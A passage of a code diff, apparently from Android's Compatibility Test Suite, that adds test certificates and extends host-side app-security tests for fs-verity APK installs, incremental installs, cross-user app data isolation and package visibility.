diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8 b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8
new file mode 100644
index 0000000..d7309dd
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.pk8
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem
new file mode 100644
index 0000000..c028ff7
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_3.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbjCCARWgAwIBAgIJAIOU9crRaomnMAoGCCqGSM49BAMCMBQxEjAQBgNVBAMM
+CWVjLXAyNTZfMjAeFw0xODA3MTQwMDA1MjZaFw0yODA3MTEwMDA1MjZaMBQxEjAQ
+BgNVBAMMCWVjLXAyNTZfMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABPMeYkMO
+nbb8WSjZdfxOR0GbrPyy4HyJKZ5s1+NE3SGt/TCNWMtJoaKj/srM7qSGIGnzC+Fk
+O8wlUEDYCJ37N0OjUDBOMB0GA1UdDgQWBBRvjQgosT769Xf8hrDpn6PlS8vP8DAf
+BgNVHSMEGDAWgBR5kdkrAgj8RIv1BtTvyf/0KMteXzAMBgNVHRMEBTADAQH/MAoG
+CCqGSM49BAMCA0cAMEQCICVr2qJ4TCc+TMKRpZWkZ3ne6d6QRNyferggMJVn35/p
+AiAaStjGmJG1qMR0NP6VQO0fSXm1+tNIPz+gTVZ3NVpXng==
+-----END CERTIFICATE-----
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8 b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8
new file mode 100644
index 0000000..3675d50
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.pk8
Binary files differ
diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem
new file mode 100644
index 0000000..4060400
--- /dev/null
+++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256_4.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBezCCASCgAwIBAgIUbIy4qBhDPB5kMfsW+zrg+1rWCqcwCgYIKoZIzj0EAwIw
+FDESMBAGA1UEAwwJZWMtcDI1Nl8zMB4XDTIwMDUxMzE5MTUyOFoXDTMwMDUxMTE5
+MTUyOFowFDESMBAGA1UEAwwJZWMtcDI1Nl80MFkwEwYHKoZIzj0CAQYIKoZIzj0D
+AQcDQgAE20pgAx55rUnLdZAH1oVdRGm5HIurBlQ08vupca3n5NGVmaD2e15wjP2n
+VD5WMMN2nTfgk2QNfHaKFRRM0OXc9KNQME4wHQYDVR0OBBYEFG54lwMyVUM2tu6J
+JOqnAjDjk/Z4MB8GA1UdIwQYMBaAFG+NCCixPvr1d/yGsOmfo+VLy8/wMAwGA1Ud
+EwQFMAMBAf8wCgYIKoZIzj0EAwIDSQAwRgIhAM54bnnsdUdEYILpyvkQYU/4B1j5
+gZ+w8UhpUGer4PzUAiEApIgeMy3ewhFq0rWc+JHQ8zH/fifne3xiBseYjZtTkzA=
+-----END CERTIFICATE-----
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 80f4c3f..15e1279 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -16,10 +16,11 @@
 
 package android.appsecurity.cts;
 
-import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AppModeFull;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -56,6 +57,7 @@
         put(SPLIT_APK_DM, "split_feature_x.dm");
     }};
 
+    private boolean mDmRequireFsVerity;
 
     @Before
     public void setUp() throws DeviceNotAvailableException {
@@ -63,6 +65,7 @@
         String apkVerityMode = device.getProperty("ro.apk_verity.mode");
         assumeTrue(device.getLaunchApiLevel() >= 30
                 || APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
+        mDmRequireFsVerity = "true".equals(device.getProperty("pm.dexopt.dm.require_fsverity"));
     }
 
     @After
@@ -73,6 +76,7 @@
     @CddTest(requirement="9.10/C-0-3")
     @Test
     public void testInstallBase() throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -84,16 +88,18 @@
     @Test
     public void testInstallBaseWithWrongSignature()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BAD_BASE_APK)
                 .addFile(BAD_BASE_APK + FSV_SIG_SUFFIX)
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithSplit()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -103,9 +109,10 @@
         verifyFsverityInstall(BASE_APK, SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithDm() throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -115,9 +122,10 @@
         verifyFsverityInstall(BASE_APK, BASE_APK_DM);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallEverything() throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -131,10 +139,11 @@
         verifyFsverityInstall(BASE_APK, BASE_APK_DM, SPLIT_APK, SPLIT_APK_DM);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnly()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -149,10 +158,11 @@
         verifyFsverityInstall(BASE_APK, SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnlyMissingSignature()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -165,10 +175,11 @@
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallSplitOnlyWithoutBaseSignature()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .run();
@@ -181,49 +192,82 @@
         verifyFsverityInstall(SPLIT_APK);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlyBaseHasFsvSig()
+    public void testInstallBaseWithFsvSigAndSplitWithout()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
                 .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
                 .addFile(SPLIT_APK_DM)
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX)
                 .runExpectingFailure();
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlyDmHasFsvSig()
+    public void testInstallDmWithFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK_DM)
                 .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
                 .addFile(SPLIT_APK_DM)
-                .runExpectingFailure();
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX)
+                .run();
+        verifyFsverityInstall(BASE_APK_DM, SPLIT_APK_DM);
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
-    public void testInstallOnlySplitHasFsvSig()
+    public void testInstallDmWithMissingFsvSig()
             throws DeviceNotAvailableException, FileNotFoundException {
-        new InstallMultiple()
+        assumeSecurityModelCompat();
+        InstallMultiple installer = new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
                 .addFile(SPLIT_APK)
-                .addFile(SPLIT_APK + FSV_SIG_SUFFIX)
-                .addFile(SPLIT_APK_DM)
-                .runExpectingFailure();
+                .addFile(SPLIT_APK_DM);
+        if (mDmRequireFsVerity) {
+            installer.runExpectingFailure();
+        } else {
+            installer.run();
+            verifyFsverityInstall(BASE_APK_DM);
+        }
     }
 
-    @CddTest(requirement="9.10/C-0-3,C-1-1")
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
+    @Test
+    public void testInstallSplitWithFsvSigAndBaseWithout()
+            throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
+        InstallMultiple installer = new InstallMultiple()
+                .addFile(BASE_APK)
+                .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
+                .addFile(SPLIT_APK)
+                .addFile(SPLIT_APK_DM)
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX);
+        if (mDmRequireFsVerity) {
+            installer.runExpectingFailure();
+        } else {
+            installer.run();
+            verifyFsverityInstall(BASE_APK_DM, SPLIT_APK_DM);
+        }
+    }
+
+    @CddTest(requirement="9.10/C-0-3,C-0-5")
     @Test
     public void testInstallBaseWithFsvSigThenSplitWithout()
             throws DeviceNotAvailableException, FileNotFoundException {
+        assumeSecurityModelCompat();
         new InstallMultiple()
                 .addFile(BASE_APK)
                 .addFile(BASE_APK + FSV_SIG_SUFFIX)
@@ -235,6 +279,60 @@
                 .runExpectingFailure();
     }
 
+    @Test
+    public void testInstallBaseIncrementally() throws Exception {
+        assumeIncrementalDeliveryFeature();
+        new InstallMultiple()
+                .useIncremental()
+                .addFile(BASE_APK)
+                .run();
+    }
+
+    @Test
+    public void testInstallBaseWithFsvSigIncrementally() throws Exception {
+        assumeSecurityModelCompat();
+        assumeIncrementalDeliveryFeature();
+        new InstallMultiple()
+                .useIncremental()
+                .addFile(BASE_APK)
+                .addFile(BASE_APK + FSV_SIG_SUFFIX)
+                .run();
+        assumeIncrementalDeliveryV2Feature();
+        verifyFsverityInstall(BASE_APK);
+    }
+
+    @Test
+    public void testInstallEverythingWithFsvSigIncrementally() throws Exception {
+        assumeSecurityModelCompat();
+        assumeIncrementalDeliveryFeature();
+        new InstallMultiple()
+                .useIncremental()
+                .addFile(BASE_APK)
+                .addFile(BASE_APK_DM)
+                .addFile(BASE_APK_DM + FSV_SIG_SUFFIX)
+                .addFile(SPLIT_APK)
+                .addFile(SPLIT_APK_DM)
+                .addFile(SPLIT_APK_DM + FSV_SIG_SUFFIX)
+                .run();
+        assumeIncrementalDeliveryV2Feature();
+        verifyFsverityInstall(BASE_APK_DM, SPLIT_APK_DM);
+    }
+
+    private void assumeIncrementalDeliveryFeature() throws Exception {
+        assumeTrue("true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery")));
+    }
+
+    private void assumeIncrementalDeliveryV2Feature() throws Exception {
+        assumeTrue("true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery 2")));
+    }
+
+    private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+    }
+
     void verifyFsverityInstall(String... files) throws DeviceNotAvailableException {
         DeviceTestRunOptions options = new DeviceTestRunOptions(PACKAGE_NAME);
         options.setTestClassName(PACKAGE_NAME + ".InstalledFilesCheck");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
index 3059821..77b059e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppDataIsolationTests.java
@@ -18,10 +18,10 @@
 
 import static android.appsecurity.cts.Utils.waitForBootCompleted;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -30,11 +30,13 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
-import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashMap;
+import java.util.Map;
+
 /**
  * Set of tests that verify app data isolation works.
  */
@@ -44,6 +46,7 @@
     private static final String APPA_APK = "CtsAppDataIsolationAppA.apk";
     private static final String APP_SHARED_A_APK = "CtsAppDataIsolationAppSharedA.apk";
     private static final String APP_DIRECT_BOOT_A_APK = "CtsAppDataIsolationAppDirectBootA.apk";
+    private static final String APP_API29_A_APK = "CtsAppDataIsolationAppApi29A.apk";
     private static final String APPA_PKG = "com.android.cts.appdataisolation.appa";
     private static final String APPA_CLASS =
             "com.android.cts.appdataisolation.appa.AppATests";
@@ -76,8 +79,6 @@
     private static final String FBE_MODE_NATIVE = "native";
     private static final String FBE_MODE_EMULATED = "emulated";
 
-    private static final String CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE =
-            "getprop persist.sys.vold_app_data_isolation_enabled";
     private static final String APPA_METHOD_CREATE_EXTERNAL_DIRS = "testCreateExternalDirs";
     private static final String APPA_METHOD_TEST_ISOLATED_PROCESS = "testIsolatedProcess";
     private static final String APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS =
@@ -92,6 +93,12 @@
             "testAppAExternalDirsDoExist";
     private static final String APPA_METHOD_CHECK_EXTERNAL_DIRS_UNAVAILABLE =
             "testAppAExternalDirsUnavailable";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT =
+            "testOtherUserDirsNotPresent";
+    private static final String APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE =
+            "testOtherUserDirsNotAccessible";
+
+    private int mOtherUser = -1;
 
     @Before
     public void setUp() throws Exception {
@@ -102,19 +109,13 @@
 
     @After
     public void tearDown() throws Exception {
+        if (mOtherUser != -1) {
+            getDevice().removeUser(mOtherUser);
+        }
         getDevice().uninstallPackage(APPA_PKG);
         getDevice().uninstallPackage(APPB_PKG);
     }
 
-    private void forceStopPackage(String packageName) throws Exception {
-        getDevice().executeShellCommand("am force-stop " + packageName);
-    }
-
-    private void reboot() throws Exception {
-        getDevice().reboot();
-        waitForBootCompleted(getDevice());
-    }
-
     @Test
     public void testAppAbleToAccessItsDataAfterForceStop() throws Exception {
         // Install AppA and verify no data stored
@@ -176,17 +177,6 @@
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_CHECK_REF_PROFILE_NOT_ACCESSIBLE);
     }
 
-    private boolean isFbeModeEmulated() throws Exception {
-        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (mode.equals(FBE_MODE_EMULATED)) {
-            return true;
-        } else if (mode.equals(FBE_MODE_NATIVE)) {
-            return false;
-        }
-        fail("Unknown FBE mode: " + mode);
-        return false;
-    }
-
     @Test
     public void testDirectBootModeWorks() throws Exception {
         if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
@@ -218,7 +208,14 @@
             // Setup screenlock
             getDevice().executeShellCommand("settings put global require_password_to_decrypt 0");
             getDevice().executeShellCommand("locksettings set-disabled false");
-            getDevice().executeShellCommand("locksettings set-pin 12345");
+            String response = getDevice().executeShellCommand("locksettings set-pin 12345");
+            if (!response.contains("12345")) {
+                // This seems to fail occasionally. Try again once, then give up.
+                Thread.sleep(500);
+                response = getDevice().executeShellCommand("locksettings set-pin 12345");
+                assumeTrue("Test requires setting a pin, which failed: " + response,
+                        response.contains("12345"));
+            }
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -336,13 +333,6 @@
         runDeviceTests(APPB_PKG, APPB_CLASS, APPB_METHOD_CAN_ACCESS_APPA_EXTERNAL_DIRS);
     }
 
-    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
-            throws DeviceNotAvailableException {
-        Assume.assumeThat(device.executeShellCommand(
-                CHECK_IF_FUSE_DATA_ISOLATION_IS_ENABLED_COMMANDLINE).trim(),
-                is("true"));
-    }
-
     @Test
     public void testIsolatedProcess() throws Exception {
         new InstallMultiple().addFile(APPA_APK).run();
@@ -356,4 +346,92 @@
         new InstallMultiple().addFile(APPB_APK).run();
         runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_APP_ZYGOTE_ISOLATED_PROCESS);
     }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDir() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk > 29, directories related to other users are not visible at all.
+        new InstallMultiple().addFile(APPA_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_PRESENT,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    @Test
+    public void testAppUnableToAccessOtherUserAppDataDirApi29() throws Exception {
+        assumeCanCreateUser();
+        mOtherUser = getDevice().createUser("other_user");
+
+        // For targetSdk <= 29, directories related to other users are visible but we cannot
+        // access anything within them.
+        new InstallMultiple().addFile(APP_API29_A_APK).run();
+        new InstallMultiple().addFile(APPB_APK).run();
+        getDevice().startUser(mOtherUser, true /* wait */);
+        installExistingAppAsUser(APPB_PKG, mOtherUser);
+
+        runDeviceTests(APPA_PKG, APPA_CLASS, APPA_METHOD_TEST_OTHER_USER_DIRS_NOT_ACCESSIBLE,
+                makeOtherUserIdArgs(mOtherUser));
+    }
+
+    private void assumeCanCreateUser() throws DeviceNotAvailableException {
+        assumeTrue("Test requires multi-user support", mSupportsMultiUser);
+        // If we're already at the user limit, e.g. when running the test in a secondary user,
+        // then we can't create another one.
+        int currentUserCount = getDevice().listUsers().size();
+        assumeTrue("Test requires creating another user",
+                getDevice().getMaxNumberOfUsersSupported() > currentUserCount);
+    }
+
+    private void runDeviceTests(String pkgName, String testClassName, String testMethodName,
+            Map<String, String> instrumentationArgs) throws DeviceNotAvailableException {
+        runDeviceTests(getDevice(), null, pkgName, testClassName, testMethodName, null,
+                10 * 60 * 1000L, 10 * 60 * 1000L, 0L, true, false, instrumentationArgs);
+    }
+
+    private Map<String, String> makeOtherUserIdArgs(int otherUser) {
+        Map<String, String> args = new HashMap<>();
+        args.put("other_user_id", Integer.toString(otherUser));
+        return args;
+    }
+
+    private void forceStopPackage(String packageName) throws Exception {
+        getDevice().executeShellCommand("am force-stop " + packageName);
+    }
+
+    private void reboot() throws Exception {
+        getDevice().reboot();
+        waitForBootCompleted(getDevice());
+    }
+
+    private void installExistingAppAsUser(String packageName, int userId) throws Exception {
+        final String installString =
+                "Package " + packageName + " installed for user: " + userId + "\n";
+        assertEquals(installString, getDevice().executeShellCommand(
+                "cmd package install-existing --full"
+                        + " --user " + Integer.toString(userId)
+                        + " " + packageName));
+    }
+
+    private static void assumeThatFuseDataIsolationIsEnabled(ITestDevice device)
+            throws DeviceNotAvailableException {
+        assumeThat(device.executeShellCommand(
+                "getprop persist.sys.vold_app_data_isolation_enabled").trim(),
+                is("true"));
+    }
+
+    private boolean isFbeModeEmulated() throws Exception {
+        String mode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (mode.equals(FBE_MODE_EMULATED)) {
+            return true;
+        } else if (mode.equals(FBE_MODE_NATIVE)) {
+            return false;
+        }
+        fail("Unknown FBE mode: " + mode);
+        return false;
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3bea273..92f4de5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.RestrictedBuildTest;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
@@ -187,7 +188,11 @@
     /**
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
-    @Test
+    // RestrictedBuildTest ensures the build only runs on user builds where the signature
+    // verification will be performed, but JUnit4TestNotRun reports the test will not be run because
+    // the method does not have the @Test annotation.
+    @SuppressWarnings("JUnit4TestNotRun")
+    @RestrictedBuildTest
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testInstrumentationDiffCert_full() throws Exception {
         testInstrumentationDiffCert(false, false);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java
index a6d2139..787d61e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java
@@ -265,6 +265,60 @@
                 testArgs);
     }
 
+    @Test
+    @AppModeFull(reason = "instant applications cannot be granted INTERACT_ACROSS_USERS")
+    public void testGetPackagesForUidCrossUserGrant() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+
+        final int installUserId = getInstallUserId();
+        final int testUserId = getTestUserId();
+
+        installTestAppForUser(TINY_APK, installUserId);
+        installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+        Utils.runDeviceTests(
+                getDevice(),
+                TEST_WITH_PERMISSION_PKG,
+                ".ApplicationVisibilityCrossUserTest",
+                "testGetPackagesForUidVisibility_currentUser",
+                testUserId);
+        Utils.runDeviceTests(
+                getDevice(),
+                TEST_WITH_PERMISSION_PKG,
+                ".ApplicationVisibilityCrossUserTest",
+                "testGetPackagesForUidVisibility_anotherUserCrossUserGrant",
+                testUserId);
+    }
+
+    @Test
+    @AppModeFull(reason = "instant applications cannot see any other application")
+    public void testGetPackagesForUidCrossUserNoGrant() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+
+        final int installUserId = getInstallUserId();
+        final int testUserId = getTestUserId();
+
+        installTestAppForUser(TINY_APK, installUserId);
+        installTestAppForUser(TEST_WITH_PERMISSION_APK, testUserId);
+
+        Utils.runDeviceTests(
+                getDevice(),
+                TEST_WITH_PERMISSION_PKG,
+                ".ApplicationVisibilityCrossUserTest",
+                "testGetPackagesForUidVisibility_currentUser",
+                testUserId);
+        Utils.runDeviceTests(
+                getDevice(),
+                TEST_WITH_PERMISSION_PKG,
+                ".ApplicationVisibilityCrossUserTest",
+                "testGetPackagesForUidVisibility_anotherUserCrossUserNoGrant",
+                testUserId);
+    }
+
     private int getInstallUserId() {
         return mUsers[0];
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
index 4e43022..3c52427 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
@@ -46,9 +46,10 @@
     private final IAbi mAbi;
 
     private final List<String> mArgs = new ArrayList<>();
-    private final List<File> mFiles = new ArrayList<>();
-    private final List<String> mSplits = new ArrayList<>();
-    private boolean mUseNaturalAbi;
+    private final List<File> mFilesToAdd = new ArrayList<>();
+    private final List<String> mSplitsToRemove = new ArrayList<>();
+    private boolean mUseNaturalAbi = false;
+    private boolean mUseIncremental = false;
 
     public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
         this(device, buildInfo, abi, true);
@@ -71,12 +72,12 @@
 
     T addFile(String file) throws FileNotFoundException {
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        mFiles.add(buildHelper.getTestFile(file, mAbi));
+        mFilesToAdd.add(buildHelper.getTestFile(file, mAbi));
         return (T) this;
     }
 
     T removeSplit(String split) {
-        mSplits.add(split);
+        mSplitsToRemove.add(split);
         return (T) this;
     }
 
@@ -91,6 +92,11 @@
         return (T) this;
     }
 
+    T useIncremental() {
+        mUseIncremental = true;
+        return (T) this;
+    }
+
     T allowTest() {
         addArg("-t");
         return (T) this;
@@ -143,6 +149,11 @@
     }
 
     private void run(boolean expectingSuccess, String failure) throws DeviceNotAvailableException {
+        if (mUseIncremental) {
+            runIncremental(expectingSuccess, failure);
+            return;
+        }
+
         final ITestDevice device = mDevice;
 
         // Create an install session
@@ -173,8 +184,8 @@
 
         // Push our files into session. Ideally we'd use stdin streaming,
         // but ddmlib doesn't support it yet.
-        for (int i = 0; i < mFiles.size(); i++) {
-            final File file = mFiles.get(i);
+        for (int i = 0; i < mFilesToAdd.size(); i++) {
+            final File file = mFilesToAdd.get(i);
             final String remoteName = deriveRemoteName(file.getName(), i);
             final String remotePath = "/data/local/tmp/" + remoteName;
             if (!device.pushFile(file, remotePath)) {
@@ -191,8 +202,8 @@
             TestCase.assertTrue(result, result.startsWith("Success"));
         }
 
-        for (int i = 0; i < mSplits.size(); i++) {
-            final String split = mSplits.get(i);
+        for (int i = 0; i < mSplitsToRemove.size(); i++) {
+            final String split = mSplitsToRemove.get(i);
 
             cmd.setLength(0);
             cmd.append("pm install-remove");
@@ -219,4 +230,47 @@
             TestCase.assertTrue(result, result.contains(failure));
         }
     }
+
+    private void runIncremental(boolean expectingSuccess, String failure) throws DeviceNotAvailableException {
+        final ITestDevice device = mDevice;
+
+        if (!mSplitsToRemove.isEmpty()) {
+            throw new IllegalStateException("Incremental sessions can't remove splits");
+        }
+
+        // Create an install session
+        final StringBuilder cmd = new StringBuilder();
+        cmd.append("pm install-incremental");
+        for (String arg : mArgs) {
+            cmd.append(' ').append(arg);
+        }
+        if (!mUseNaturalAbi && mAbi != null) {
+            cmd.append(' ').append(AbiUtils.createAbiFlag(mAbi.getName()));
+        }
+
+        // Push our files into session. Ideally we'd use stdin streaming,
+        // but ddmlib doesn't support it yet.
+        for (int i = 0; i < mFilesToAdd.size(); i++) {
+            final File file = mFilesToAdd.get(i);
+            final String remoteName = deriveRemoteName(file.getName(), i);
+            final String remotePath = "/data/local/tmp/" + remoteName;
+            if (!device.pushFile(file, remotePath)) {
+                throw new IllegalStateException("Failed to push " + file);
+            }
+
+            cmd.append(' ').append(remotePath);
+        }
+
+        // Everything staged; let's pull trigger
+        String result = device.executeShellCommand(cmd.toString()).trim();
+        if (failure == null) {
+            if (expectingSuccess) {
+                TestCase.assertTrue(result, result.startsWith("Success"));
+            } else {
+                TestCase.assertFalse(result, result.startsWith("Success"));
+            }
+        } else {
+            TestCase.assertTrue(result, result.contains(failure));
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index d986e58..bbd0130 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -20,10 +20,12 @@
 
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
 
 import android.platform.test.annotations.RequiresDevice;
 
-import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -58,6 +60,8 @@
